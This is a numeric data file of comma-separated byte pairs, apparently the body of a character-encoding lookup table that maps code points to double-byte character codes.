0,0,114,216,0,0,115,216,247,179,0,0,116,216,0,0,
0,0,0,0,248,190,229,232,117,216,234,232,243,193,118,216,
119,216,230,232,120,216,237,232,121,216,0,0,223,195,0,0,
238,232,122,216,123,216,214,205,227,232,184,179,124,216,233,232,
0,0,125,216,236,232,172,204,0,0,126,216,0,0,0,0,
239,232,0,0,0,0,232,232,235,232,0,0,33,217,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,34,217,0,0,0,0,35,217,0,0,169,203,0,0,
161,207,36,217,37,217,38,217,39,217,0,0,243,232,0,0,
0,0,40,217,0,0,0,0,42,217,43,217,250,232,44,217,
0,0,242,232,195,188,0,0,45,217,46,217,0,0,0,0,
209,232,47,217,0,0,0,0,0,0,0,0,48,217,0,0,
49,217,0,0,50,217,206,202,0,0,162,204,249,232,248,232,
0,0,244,232,245,232,0,0,182,177,0,0,51,217,0,0,
52,217,247,232,0,0,241,232,53,217,54,217,55,217,56,217,
213,196,57,217,0,0,0,0,58,217,59,217,246,232,254,176,
0,0,60,217,0,0,0,0,41,217,61,217,62,217,162,194,
63,217,0,0,0,0,0,0,0,0,0,0,0,0,195,202,
0,0,64,217,251,232,161,233,0,0,217,200,0,0,0,0,
65,217,0,0,254,232,214,190,201,188,163,233,0,0,0,0,
190,182,66,217,67,217,68,217,69,217,70,217,0,0,164,233,
71,217,249,201,253,232,72,217,214,232,0,0,73,217,74,217,
75,217,76,217,77,217,78,217,79,217,252,232,80,217,0,0,
0,0,0,0,207,207,162,198,243,201,81,217,0,0,171,233,
0,0,82,217,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,177,233,0,0,83,217,84,217,85,217,0,0,86,217,
178,233,87,217,165,233,88,217,0,0,0,0,246,199,89,217,
90,217,175,233,167,233,91,217,169,233,92,217,93,217,0,0,
0,0,94,217,179,233,168,233,0,0,95,217,172,233,0,0,
0,0,242,177,96,217,229,198,0,0,173,233,176,233,97,217,
0,0,98,217,99,217,0,0,100,217,0,0,166,233,101,217,
166,193,102,217,170,233,167,187,197,191,176,183,244,204,116,217,
249,204,242,189,0,0,0,0,0,0,0,0,103,217,0,0,
104,217,105,217,106,217,183,233,181,233,0,0,107,217,108,217,
109,217,110,217,0,0,206,207,111,217,0,0,0,0,0,0,
0,0,112,217,0,0,180,233,113,217,114,217,0,0,245,205,
115,217,182,233,184,233,0,0,0,0,0,0,0,0,185,233,
0,0,0,0,117,217,0,0,118,217,0,0,188,233,186,233,
0,0,119,217,120,217,0,0,0,0,0,0,163,198,187,233,
121,217,0,0,122,217,205,200,174,233,0,0,0,0,123,217,
0,0,0,0,0,0,0,0,0,0,124,217,0,0,0,0,
125,217,243,189,0,0,189,233,194,233,244,193,126,217,0,0,
193,233,33,218,34,218,0,0,162,233,0,0,35,218,36,218,
195,233,201,193,0,0,0,0,190,233,192,233,0,0,37,218,
38,218,0,0,39,218,40,218,41,218,191,233,0,0,0,0,
177,221,162,221,42,218,43,218,197,233,44,218,0,0,0,0,
45,218,0,0,0,0,46,218,196,233,0,0,0,0,0,0,
0,0,47,218,0,0,48,218,0,0,0,0,0,0,246,205,
0,0,188,226,198,233,0,0,0,0,0,0,0,0,0,0,
49,218,0,0,50,218,0,0,51,218,0,0,52,218,53,218,
0,0,199,233,54,218,102,184,55,218,0,0,0,0,0,0,
56,218,0,0,0,0,0,0,0,0,0,0,0,0,200,233,
215,184,0,0,212,181,0,0,57,218,58,218,202,233,221,209,
59,218,60,218,61,218,62,218,245,181,0,0,186,206,63,218,
243,182,203,233,64,218,65,218,66,218,67,218,68,218,0,0,
0,0,204,233,0,0,69,218,0,0,238,195,70,218,0,0,
0,0,71,218,0,0,205,233,0,0,0,0,0,0,72,218,
73,218,74,218,0,0,250,198,75,218,186,176,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,109,218,0,0,227,178,210,233,211,233,76,218,
0,0,0,0,0,0,77,218,0,0,206,233,0,0,189,187,
78,218,0,0,79,218,0,0,80,218,0,0,81,218,0,0,
0,0,0,0,0,0,82,218,0,0,207,233,194,199,0,0,
83,218,84,218,85,218,208,233,209,233,219,233,0,0,86,218,
0,0,213,233,216,233,87,218,0,0,88,218,89,218,90,218,
212,233,91,218,92,218,93,218,0,0,0,0,0,0,0,0,
0,0,94,218,95,218,96,218,0,0,97,218,214,233,98,218,
215,233,216,188,0,0,217,233,0,0,193,195,0,0,214,183,
194,179,0,0,0,0,99,218,100,218,0,0,220,233,101,218,
0,0,102,218,0,0,191,179,103,218,225,233,104,218,0,0,
221,233,224,233,105,218,0,0,0,0,106,218,186,200,107,218,
0,0,108,218,0,0,222,233,0,0,0,0,223,233,200,201,
218,200,226,233,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,253,194,236,233,110,218,232,233,111,218,112,218,
235,178,0,0,230,233,0,0,170,203,231,233,113,218,114,218,
228,233,115,218,229,233,234,233,237,233,116,218,0,0,235,233,
117,218,118,218,119,218,233,233,227,233,120,218,121,218,0,0,
0,0,0,0,216,195,122,218,244,233,0,0,170,204,0,0,
123,218,124,218,0,0,125,218,0,0,126,218,0,0,242,233,
0,0,0,0,33,219,243,233,0,0,0,0,0,0,0,0,
34,219,35,219,0,0,36,219,37,219,0,0,238,233,0,0,
0,0,240,233,0,0,38,219,39,219,241,233,40,219,41,219,
42,219,239,233,43,219,0,0,0,0,44,219,0,0,45,219,
0,0,0,0,0,0,230,192,0,0,185,207,248,233,46,219,
249,233,0,0,0,0,0,0,0,0,161,234,0,0,170,191,
0,0,251,233,47,219,254,233,0,0,0,0,0,0,48,219,
0,0,246,233,245,233,49,219,0,0,162,234,50,219,51,219,
220,178,0,0,252,233,0,0,163,234,0,0,0,0,0,0,
253,233,52,219,0,0,53,219,54,219,0,0,250,233,0,0,
179,196,0,0,247,233,0,0,0,0,55,219,0,0,0,0,
0,0,232,199,0,0,0,0,167,234,56,219,57,219,58,219,
59,219,60,219,61,219,62,219,0,0,63,219,64,219,187,205,
0,0,0,0,65,219,0,0,0,0,66,219,0,0,67,219,
0,0,68,219,69,219,70,219,0,0,0,0,0,0,0,0,
71,219,166,234,72,219,0,0,165,234,73,219,0,0,0,0,
0,0,74,219,0,0,0,0,0,0,174,234,75,219,76,219,
77,219,168,234,0,0,78,219,0,0,176,234,0,0,79,219,
0,0,0,0,0,0,0,0,230,205,179,234,0,0,170,234,
80,219,81,219,171,234,82,219,0,0,0,0,175,234,0,0,
178,234,177,234,83,219,84,219,85,219,169,234,0,0,0,0,
86,219,0,0,172,234,0,0,189,234,0,0,0,0,87,219,
88,219,0,0,0,0,89,219,90,219,0,0,91,219,0,0,
0,0,92,219,182,234,0,0,93,219,94,219,95,219,0,0,
0,0,0,0,0,0,0,0,96,219,97,219,0,0,98,219,
0,0,180,234,0,0,99,219,181,234,100,219,0,0,0,0,
186,234,187,234,101,219,170,179,102,219,194,181,0,0,0,0,
185,234,103,219,0,0,104,219,0,0,105,219,0,0,164,234,
106,219,0,0,0,0,107,219,108,219,109,219,0,0,184,234,
188,234,183,234,110,219,190,234,112,219,113,219,114,219,192,234,
191,234,0,0,115,219,111,219,116,219,117,219,118,219,0,0,
119,219,120,219,0,0,194,234,193,234,218,233,0,0,0,0,
0,0,198,234,121,219,0,0,0,0,0,0,0,0,122,219,
123,219,0,0,124,219,195,234,125,219,0,0,0,0,126,219,
196,234,0,0,0,0,197,234,33,220,199,234,34,220,0,0,
0,0,0,0,236,183,35,220,201,234,36,220,200,234,37,220,
176,189,0,0,38,220,39,220,40,220,41,220,212,185,167,222,
42,220,0,0,0,0,43,220,202,234,209,189,0,0,44,220,
45,220,185,179,46,220,203,234,47,220,210,177,48,220,215,190,
204,234,49,220,50,220,213,185,205,234,225,176,51,220,0,0,
0,0,0,0,189,201,52,220,0,0,206,234,0,0,0,0,
0,0,0,0,234,191,53,220,213,234,0,0,0,0,210,234,
0,0,239,195,0,0,54,220,0,0,55,220,0,0,211,234,
208,234,222,182,56,220,207,234,214,234,0,0,0,0,0,0,
0,0,0,0,182,183,0,0,0,0,222,194,0,0,220,234,
0,0,0,0,0,0,0,0,216,234,0,0,0,0,0,0,
181,194,215,234,57,220,218,234,58,220,59,220,60,220,0,0,
209,234,61,220,62,220,0,0,219,234,0,0,221,234,0,0,
0,0,0,0,63,220,0,0,64,220,239,200,0,0,0,0,
217,234,0,0,222,234,224,234,0,0,0,0,211,184,212,234,
0,0,193,176,0,0,0,0,65,220,0,0,0,0,66,220,
67,220,223,234,68,220,219,186,246,206,225,234,226,234,245,193,
0,0,0,0,0,0,0,0,69,220,70,220,71,220,72,220,
73,220,162,206,0,0,74,220,75,220,76,220,227,234,181,205,
0,0,0,0,228,234,229,234,0,0,77,220,228,202,230,234,
78,220,192,186,0,0,163,206,0,0,0,0,0,0,0,0,
0,0,79,220,235,234,0,0,0,0,0,0,0,0,0,0,
0,0,80,220,81,220,82,220,236,234,216,190,234,234,83,220,
0,0,84,220,231,205,231,234,0,0,0,0,233,234,189,192,
254,191,0,0,0,0,85,220,232,234,0,0,237,234,0,0,
86,220,163,202,0,0,0,0,239,234,0,0,238,234,87,220,
88,220,89,220,236,179,0,0,171,203,240,234,0,0,90,220,
91,220,0,0,92,220,93,220,94,220,0,0,95,220,252,234,
242,234,0,0,96,220,0,0,0,0,0,0,0,0,243,234,
97,220,98,220,99,220,0,0,244,234,245,234,0,0,0,0,
0,0,0,0,100,220,101,220,102,220,0,0,0,0,103,220,
249,234,0,0,250,234,104,220,105,220,248,234,0,0,0,0,
106,220,0,0,107,220,246,234,108,220,241,234,247,234,109,220,
110,220,0,0,0,0,111,220,0,0,0,0,251,234,183,240,
0,0,112,220,0,0,0,0,113,220,0,0,0,0,0,0,
168,178,114,220,0,0,0,0,115,220,116,220,117,220,0,0,
254,234,223,182,253,234,118,220,119,220,120,220,162,235,0,0,
161,235,0,0,0,0,0,0,164,235,121,220,0,0,163,235,
122,220,165,235,123,220,0,0,177,189,124,220,166,235,125,220,
0,0,167,235,0,0,0,0,126,220,33,221,34,221,35,221,
168,235,190,192,0,0,215,205,0,0,169,235,0,0,0,0,
164,202,198,199,170,235,36,221,171,235,171,184,0,0,37,221,
0,0,172,181,38,221,0,0,0,0,172,235,39,221,40,221,
235,187,193,199,173,235,0,0,208,179,41,221,42,221,0,0,
0,0,43,221,44,221,174,235,0,0,0,0,0,0,45,221,
176,235,247,205,0,0,175,235,198,191,0,0,177,235,0,0,
0,0,178,235,46,221,0,0,179,235,209,180,47,221,48,221,
49,221,50,221,0,0,0,0,180,235,0,0,51,221,181,235,
0,0,182,235,183,235,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,209,179,0,0,52,221,53,221,
54,221,55,221,56,221,0,0,184,235,0,0,185,235,186,235,
0,0,0,0,0,0,0,0,0,0,242,178,0,0,57,221,
168,191,187,235,0,0,58,221,0,0,59,221,0,0,60,221,
0,0,0,0,0,0,61,221,0,0,62,221,188,235,0,0,
63,221,0,0,189,235,64,221,0,0,0,0,0,0,65,221,
0,0,66,221,192,184,0,0,251,196,190,235,67,221,68,221,
0,0,69,221,215,183,0,0,214,191,0,0,193,235,0,0,
164,198,70,221,192,235,71,221,72,221,177,183,73,221,74,221,
191,235,247,194,173,181,0,0,0,0,194,235,0,0,195,235,
75,221,217,190,76,221,0,0,77,221,237,183,78,221,196,235,
79,221,0,0,0,0,0,0,172,203,80,221,81,221,223,192,
0,0,82,221,0,0,246,181,0,0,245,204,202,193,83,221,
197,235,84,221,0,0,0,0,199,191,240,195,218,190,85,221,
86,221,0,0,87,221,198,235,0,0,88,221,0,0,89,221,
201,235,90,221,202,235,91,221,0,0,0,0,0,0,92,221,
93,221,0,0,190,186,194,194,200,235,94,221,219,190,190,201,
95,221,96,221,97,221,0,0,0,0,199,235,98,221,99,221,
236,187,0,0,211,177,100,221,206,235,216,183,0,0,101,221,
238,187,102,221,0,0,237,187,0,0,205,207,205,235,204,235,
167,193,0,0,205,181,195,207,186,179,220,190,0,0,103,221,
104,221,105,221,0,0,106,221,107,221,108,221,203,235,0,0,
109,221,110,221,111,221,0,0,208,235,112,221,209,235,207,235,
113,221,216,184,0,0,192,205,0,0,114,221,239,187,167,199,
0,0,115,221,116,221,212,235,117,221,192,192,0,0,194,195,
118,221,119,221,182,205,120,221,215,235,0,0,0,0,0,0,
236,184,121,221,191,192,211,235,0,0,216,235,237,184,213,235,
214,235,122,221,210,235,123,221,0,0,0,0,226,192,201,198,
124,221,125,221,175,195,0,0,221,178,126,221,0,0,0,0,
33,222,34,222,0,0,240,200,0,0,35,222,195,181,0,0,
36,222,180,196,0,0,0,0,219,235,37,222,217,235,0,0,
38,222,204,195,39,222,40,222,41,222,193,192,210,180,218,235,
0,0,219,191,0,0,42,222,202,206,43,222,44,222,45,222,
192,207,46,222,0,0,0,0,220,235,231,235,181,196,47,222,
230,235,48,222,227,235,235,235,228,235,0,0,224,235,0,0,
252,196,223,235,0,0,0,0,0,0,221,235,49,222,161,205,
240,187,0,0,50,222,225,235,0,0,222,235,51,222,52,222,
53,222,229,235,244,189,0,0,193,184,0,0,54,222,0,0,
250,194,55,222,197,203,218,177,226,176,0,0,165,198,56,222,
57,222,233,235,0,0,0,0,63,222,58,222,232,235,0,0,
230,198,0,0,237,235,59,222,0,0,0,0,226,235,0,0,
236,235,238,235,0,0,172,184,234,235,214,185,60,222,213,188,
61,222,62,222,239,235,216,205,0,0,0,0,0,0,0,0,
242,235,0,0,245,235,0,0,0,0,243,235,181,201,64,222,
0,0,0,0,65,222,0,0,0,0,240,235,0,0,0,0,
0,0,66,222,0,0,224,182,0,0,0,0,67,222,0,0,
244,235,0,0,0,0,246,235,68,222,69,222,70,222,71,222,
72,222,0,0,73,222,250,235,0,0,0,0,247,235,78,222,
249,235,248,235,0,0,0,0,74,222,75,222,76,222,0,0,
251,235,0,0,177,188,77,222,253,235,252,235,232,201,0,0,
79,222,161,236,0,0,0,0,0,0,80,222,0,0,0,0,
217,183,0,0,0,0,0,0,0,0,254,235,162,236,81,222,
0,0,163,236,196,181,193,230,249,190,0,0,164,236,0,0,
82,222,238,184,83,222,84,222,0,0,0,0,85,222,165,236,
86,222,0,0,166,236,87,222,0,0,190,187,88,222,89,222,
0,0,0,0,0,0,0,0,206,218,90,222,167,236,91,222,
168,236,92,222,178,189,0,0,169,236,170,236,93,222,94,222,
171,236,0,0,0,0,172,236,173,236,0,0,95,222,0,0,
96,222,97,222,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,171,195,98,222,99,222,174,236,0,0,0,0,100,222,
101,222,176,236,0,0,175,236,0,0,0,0,0,0,102,222,
166,198,103,222,177,236,104,222,173,203,105,222,178,236,0,0,
179,236,106,222,180,236,107,222,0,0,108,222,109,222,181,236,
0,0,110,222,111,222,114,222,218,198,112,222,0,0,113,222,
0,0,0,0,0,0,221,190,182,236,115,222,116,222,0,0,
117,222,0,0,118,222,119,222,235,185,174,208,183,236,120,222,
0,0,0,0,0,0,0,0,0,0,121,222,0,0,122,222,
123,222,0,0,184,236,191,201,185,236,124,222,193,236,0,0,
125,222,0,0,0,0,0,0,186,236,0,0,0,0,188,236,
126,222,33,223,0,0,187,236,189,236,34,223,198,203,190,236,
191,236,0,0,35,223,0,0,36,223,37,223,192,236,0,0,
0,0,0,0,194,236,38,223,0,0,39,223,40,223,173,179,
231,196,0,0,233,201,226,186,215,185,0,0,41,223,0,0,
0,0,207,201,223,178,206,200,197,236,211,180,213,192,196,236,
201,236,249,195,227,204,0,0,199,236,200,236,174,181,0,0,
202,236,227,199,223,194,42,223,43,223,241,200,189,197,198,236,
0,0,199,203,236,178,204,236,168,207,194,196,197,207,44,223,
45,223,241,187,203,236,46,223,177,194,47,223,0,0,220,236,
168,193,48,223,0,0,248,198,0,0,208,201,0,0,50,223,
49,223,0,0,0,0,51,223,207,236,191,187,242,187,52,223,
222,190,0,0,229,199,53,223,173,184,206,236,205,236,0,0,
234,201,0,0,54,223,0,0,193,188,0,0,55,223,210,197,
0,0,56,223,57,223,0,0,58,223,0,0,0,0,59,223,
0,0,60,223,61,223,0,0,209,236,210,236,216,185,208,236,
62,223,63,223,0,0,64,223,0,0,65,223,211,236,212,236,
0,0,214,236,163,194,66,223,213,236,230,180,0,0,216,236,
0,0,215,236,217,236,0,0,67,223,219,236,221,236,0,0,
222,236,68,223,0,0,0,0,0,0,69,223,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,214,192,70,223,
207,188,223,236,0,0,71,223,0,0,210,179,72,223,224,236,
73,223,0,0,246,193,225,236,0,0,226,236,235,201,0,0,
0,0,175,181,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,74,223,0,0,227,236,75,223,0,0,76,223,182,196,
0,0,0,0,77,223,0,0,219,177,0,0,0,0,78,223,
0,0,0,0,79,223,80,223,0,0,0,0,0,0,81,223,
0,0,0,0,0,0,228,236,0,0,0,0,0,0,0,0,
82,223,83,223,84,223,0,0,0,0,241,188,0,0,0,0,
85,223,0,0,246,191,0,0,0,0,86,223,87,223,0,0,
0,0,88,223,0,0,0,0,89,223,173,194,0,0,90,223,
0,0,91,223,0,0,92,223,231,236,93,223,111,223,0,0,
230,236,0,0,94,223,0,0,229,236,0,0,0,0,95,223,
96,223,97,223,98,223,0,0,99,223,237,236,235,236,0,0,
100,223,232,236,0,0,101,223,0,0,0,0,102,223,103,223,
234,236,104,223,0,0,105,223,233,236,236,236,0,0,247,181,
0,0,240,236,0,0,215,192,0,0,241,236,106,223,107,223,
0,0,108,223,217,184,0,0,238,236,239,236,109,223,0,0,
0,0,169,207,110,223,112,223,113,223,183,196,114,223,169,193,
0,0,0,0,0,0,0,0,0,0,0,0,242,236,115,223,
0,0,245,236,0,0,116,223,0,0,0,0,117,223,118,223,
119,223,0,0,243,236,244,236,217,205,120,223,0,0,0,0,
0,0,167,198,248,236,121,223,0,0,0,0,122,223,0,0,
123,223,0,0,0,0,0,0,0,0,0,0,0,0,246,236,
247,236,249,236,124,223,125,223,126,223,33,224,0,0,0,0,
34,224,35,224,0,0,0,0,169,237,0,0,0,0,0,0,
0,0,0,0,252,236,36,224,0,0,37,224,253,236,251,236,
38,224,39,224,40,224,41,224,0,0,0,0,0,0,42,224,
0,0,0,0,43,224,44,224,250,236,0,0,253,196,0,0,
0,0,161,237,165,237,162,237,254,236,45,224,163,237,46,224,
47,224,48,224,164,237,0,0,0,0,0,0,49,224,171,237,
0,0,0,0,0,0,166,237,0,0,50,224,51,224,52,224,
53,224,216,192,168,237,54,224,55,224,170,237,167,237,0,0,
0,0,0,0,0,0,56,224,0,0,0,0,57,224,58,224,
0,0,59,224,60,224,61,224,173,237,0,0,179,189,0,0,
172,237,0,0,0,0,62,224,63,224,64,224,174,237,0,0,
0,0,0,0,0,0,175,237,65,224,66,224,178,237,177,237,
0,0,176,237,0,0,67,224,180,237,179,237,0,0,246,204,
0,0,0,0,68,224,182,237,69,224,181,237,183,237,70,224,
0,0,0,0,0,0,184,237,71,224,72,224,0,0,73,224,
74,224,0,0,0,0,186,237,75,224,0,0,0,0,0,0,
0,0,76,224,0,0,77,224,185,237,200,191,187,237,78,224,
79,224,237,182,188,237,190,237,0,0,80,224,0,0,81,224,
0,0,0,0,0,0,0,0,82,224,83,224,0,0,0,0,
191,237,0,0,84,224,85,224,0,0,86,224,87,224,192,237,
189,237,88,224,193,237,0,0,214,188,194,237,176,181,179,183,
0,0,89,224,0,0,90,224,174,184,0,0,91,224,0,0,
0,0,0,0,0,0,0,0,0,0,195,237,92,224,0,0,
0,0,240,198,0,0,0,0,190,197,196,237,0,0,0,0,
0,0,0,0,93,224,0,0,0,0,199,237,0,0,100,224,
94,224,0,0,95,224,96,224,0,0,0,0,0,0,0,0,
0,0,97,224,180,188,98,224,99,224,198,237,197,237,218,183,
200,237,0,0,101,224,0,0,102,224,211,179,0,0,202,237,
0,0,103,224,104,224,220,186,201,237,0,0,210,237,0,0,
0,0,105,224,106,224,0,0,204,237,206,237,229,202,203,237,
107,224,108,224,109,224,205,237,0,0,209,237,207,237,177,181,
110,224,208,237,111,224,112,224,0,0,113,224,0,0,114,224,
211,237,115,224,116,224,218,199,216,206,0,0,117,224,118,224,
119,224,180,189,0,0,0,0,0,0,212,237,120,224,121,224,
122,224,123,224,162,205,214,237,124,224,213,237,0,0,0,0,
217,237,193,205,125,224,126,224,216,237,33,225,237,179,215,237,
220,237,34,225,0,0,219,237,0,0,0,0,218,237,178,197,
221,237,35,225,0,0,36,225,37,225,38,225,39,225,40,225,
0,0,222,237,41,225,0,0,0,0,0,0,223,237,42,225,
43,225,236,185,0,0,165,183,224,237,225,237,226,237,44,225,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,201,191,227,237,45,225,
173,188,228,237,46,225,47,225,0,0,229,237,48,225,49,225,
50,225,161,210,254,209,0,0,0,0,0,0,0,0,230,237,
240,229,231,237,164,195,171,191,192,199,0,0,0,0,51,225,
52,225,232,237,53,225,0,0,213,202,212,196,254,185,0,0,
54,225,169,195,55,225,56,225,170,177,0,0,248,203,215,191,
57,225,0,0,0,0,0,0,58,225,59,225,0,0,60,225,
222,183,0,0,61,225,225,182,62,225,63,225,214,202,64,225,
0,0,0,0,0,0,0,0,233,237,0,0,0,0,0,0,
0,0,0,0,65,225,0,0,235,237,66,225,67,225,234,237,
224,178,0,0,68,225,246,198,236,237,247,199,0,0,179,197,
69,225,237,237,210,189,70,225,0,0,0,0,239,237,71,225,
72,225,194,204,254,237,241,237,242,237,73,225,0,0,201,196,
74,225,0,0,224,194,247,193,75,225,168,198,76,225,240,237,
213,181,0,0,77,225,0,0,0,0,249,237,78,225,246,237,
165,238,169,198,224,195,243,237,0,0,254,196,211,197,244,237,
248,237,224,191,79,225,231,199,204,196,80,225,0,0,194,192,
247,237,174,194,164,194,245,237,169,176,162,207,0,0,0,0,
0,0,250,237,81,225,82,225,84,225,0,0,85,225,86,225,
225,194,83,225,0,0,181,189,202,191,87,225,88,225,252,237,
251,237,89,225,239,176,253,237,0,0,0,0,175,201,0,0,
167,238,90,225,0,0,219,198,235,191,91,225,92,225,217,195,
0,0,248,182,0,0,166,238,183,205,191,177,93,225,215,202,
225,178,161,238,162,238,163,238,164,238,187,198,163,195,227,176,
168,238,0,0,169,238,163,244,0,0,94,225,189,194,95,225,
170,238,0,0,243,177,204,193,96,225,175,184,0,0,218,205,
97,225,98,225,171,238,172,197,0,0,0,0,99,225,248,193,
215,188,172,238,100,225,0,0,175,238,0,0,101,225,229,189,
173,238,171,193,170,193,102,225,228,176,0,0,203,206,177,238,
0,0,242,200,179,238,178,238,176,238,228,227,212,180,103,225,
0,0,238,237,104,225,181,238,180,238,105,225,106,225,0,0,
107,225,182,238,108,225,184,205,0,0,0,0,0,0,109,225,
0,0,110,225,111,225,112,225,0,0,113,225,0,0,0,0,
0,0,0,0,114,225,115,225,116,225,225,198,0,0,117,225,
174,203,0,0,183,238,0,0,217,188,0,0,0,0,0,0,
0,0,184,238,118,225,185,238,119,225,120,225,121,225,186,238,
122,225,0,0,161,197,0,0,0,0,0,0,0,0,123,225,
125,225,0,0,0,0,234,176,0,0,126,225,33,226,34,226,
0,0,35,226,36,226,0,0,217,185,0,0,124,225,0,0,
186,207,0,0,0,0,0,0,45,226,0,0,0,0,37,226,
0,0,38,226,39,226,40,226,0,0,190,238,41,226,42,226,
0,0,43,226,0,0,180,183,187,238,0,0,188,238,44,226,
0,0,0,0,244,201,0,0,0,0,47,226,0,0,212,179,
0,0,48,226,49,226,0,0,0,0,0,0,50,226,185,205,
46,226,191,182,0,0,0,0,0,0,0,0,0,0,212,197,
51,226,52,226,53,226,0,0,191,238,0,0,54,226,55,226,
56,226,0,0,57,226,0,0,0,0,0,0,0,0,58,226,
0,0,0,0,59,226,0,0,192,238,0,0,60,226,0,0,
61,226,62,226,63,226,193,238,64,226,0,0,65,226,0,0,
66,226,0,0,67,226,0,0,69,226,70,226,0,0,68,226,
0,0,71,226,0,0,72,226,0,0,0,0,0,0,162,197,
73,226,74,226,195,238,75,226,194,238,0,0,76,226,0,0,
77,226,78,226,0,0,79,226,80,226,0,0,81,226,82,226,
0,0,0,0,0,0,0,0,0,0,83,226,0,0,0,0,
0,0,84,226,85,226,211,198,196,238,182,189,224,188,219,199,
241,195,86,226,0,0,0,0,242,188,87,226,236,191,0,0,
197,238,88,226,198,238,89,226,90,226,91,226,0,0,0,0,
0,0,0,0,0,0,92,226,221,191,199,238,93,226,200,238,
0,0,94,226,0,0,201,238,239,205,0,0,183,189,95,226,
0,0,0,0,0,0,0,0,203,238,202,238,96,226,218,185,
0,0,243,185,192,187,97,226,98,226,99,226,0,0,0,0,
0,0,0,0,0,0,100,226,206,238,101,226,0,0,102,226,
103,226,230,189,0,0,205,238,104,226,204,238,0,0,233,194,
105,226,0,0,239,184,106,226,195,192,107,226,108,226,109,226,
0,0,176,200,110,226,0,0,0,0,0,0,185,189,0,0,
111,226,0,0,0,0,112,226,207,238,0,0,223,190,0,0,
113,226,0,0,114,226,0,0,210,238,208,238,115,226,116,226,
117,226,209,238,118,226,119,226,120,226,121,226,212,238,211,238,
122,226,0,0,250,190,0,0,213,238,123,226,124,226,125,226,
0,0,126,226,214,238,215,238,33,227,34,227,0,0,35,227,
208,200,211,186,225,188,216,238,0,0,217,238,164,206,197,189,
238,204,204,206,218,238,226,182,0,0,36,227,37,227,0,0,
219,238,38,227,163,197,39,227,40,227,222,238,248,179,203,191,
41,227,220,238,0,0,221,238,0,0,224,196,42,227,43,227,
213,203,252,182,0,0,44,227,45,227,0,0,46,227,47,227,
48,227,49,227,50,227,51,227,0,0,0,0,0,0,224,238,
225,238,52,227,0,0,53,227,0,0,54,227,223,238,55,227,
0,0,227,238,56,227,57,227,0,0,0,0,58,227,59,227,
60,227,61,227,0,0,62,227,63,227,0,0,64,227,223,198,
195,179,0,0,65,227,231,238,66,227,67,227,228,238,230,238,
68,227,0,0,69,227,0,0,0,0,0,0,70,227,71,227,
226,238,0,0,0,0,0,0,0,0,72,227,73,227,74,227,
75,227,0,0,76,227,207,239,0,0,0,0,229,238,0,0,
77,227,78,227,79,227,0,0,0,0,80,227,235,206,81,227,
82,227,218,184,83,227,84,227,85,227,0,0,86,227,0,0,
87,227,239,238,88,227,0,0,89,227,90,227,180,197,234,238,
91,227,92,227,237,238,235,238,93,227,240,238,0,0,94,227,
95,227,96,227,241,238,97,227,0,0,0,0,0,0,0,0,
0,0,233,238,98,227,99,227,246,238,244,177,100,227,101,227,
232,238,0,0,102,227,103,227,173,200,0,0,236,238,104,227,
224,190,105,227,106,227,107,227,0,0,0,0,0,0,0,0,
108,227,109,227,110,227,219,185,0,0,0,0,0,0,111,227,
112,227,113,227,114,227,115,227,0,0,116,227,117,227,118,227,
200,203,119,227,228,182,0,0,0,0,198,189,0,0,188,198,
0,0,0,0,120,227,121,227,122,227,0,0,0,0,123,227,
124,227,0,0,0,0,173,193,125,227,244,238,0,0,238,238,
243,238,126,227,195,204,33,228,184,196,245,238,242,238,0,0,
0,0,34,228,35,228,0,0,0,0,0,0,36,228,37,228,
0,0,38,228,39,228,0,0,0,0,40,228,0,0,172,193,
0,0,41,228,0,0,0,0,42,228,0,0,0,0,0,0,
43,228,249,238,44,228,248,238,45,228,46,228,47,228,48,228,
0,0,49,228,50,228,51,228,52,228,53,228,0,0,54,228,
55,228,56,228,57,228,0,0,0,0,58,228,59,228,60,228,
61,228,247,238,62,228,0,0,175,203,63,228,0,0,64,228,
0,0,65,228,66,228,67,228,0,0,0,0,68,228,69,228,
0,0,70,228,71,228,72,228,0,0,73,228,251,189,74,228,
0,0,75,228,76,228,250,238,223,202,0,0,77,228,212,177,
78,228,0,0,79,228,0,0,198,201,242,195,0,0,0,0,
0,0,0,0,248,181,80,228,252,238,81,228,221,185,0,0,
0,0,82,228,83,228,0,0,84,228,0,0,0,0,0,0,
172,187,0,0,85,228,0,0,0,0,0,0,0,0,86,228,
0,0,251,238,237,191,87,228,0,0,0,0,88,228,89,228,
0,0,0,0,238,191,161,239,163,239,0,0,90,228,91,228,
92,228,93,228,251,190,94,228,162,239,164,239,95,228,96,228,
211,182,97,228,197,201,98,228,99,228,226,188,163,207,0,0,
254,238,248,186,0,0,0,0,191,207,100,228,101,228,166,239,
102,228,103,228,0,0,0,0,165,239,167,239,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,253,238,0,0,
0,0,104,228,105,228,106,228,0,0,233,198,0,0,213,197,
0,0,0,0,107,228,108,228,109,228,0,0,215,196,110,228,
172,239,111,228,112,228,0,0,113,228,195,195,168,239,0,0,
114,228,0,0,169,239,0,0,0,0,0,0,115,228,116,228,
0,0,117,228,0,0,118,228,119,228,0,0,173,183,120,228,
171,239,121,228,122,228,123,228,0,0,124,228,125,228,176,184,
126,228,0,0,0,0,0,0,33,229,0,0,170,239,34,229,
225,190,35,229,36,229,37,229,38,229,0,0,0,0,0,0,
0,0,0,0,39,229,0,0,40,229,41,229,249,179,42,229,
0,0,43,229,0,0,0,0,44,229,0,0,176,239,45,229,
191,186,249,193,46,229,0,0,202,196,47,229,0,0,0,0,
48,229,0,0,0,0,49,229,0,0,50,229,51,229,0,0,
52,229,187,179,53,229,59,229,0,0,54,229,174,239,175,239,
195,196,0,0,173,239,0,0,0,0,0,0,55,229,56,229,
57,229,0,0,0,0,177,239,58,229,0,0,0,0,0,0,
0,0,0,0,0,0,60,229,0,0,183,239,61,229,62,229,
63,229,64,229,186,239,65,229,66,229,67,229,68,229,69,229,
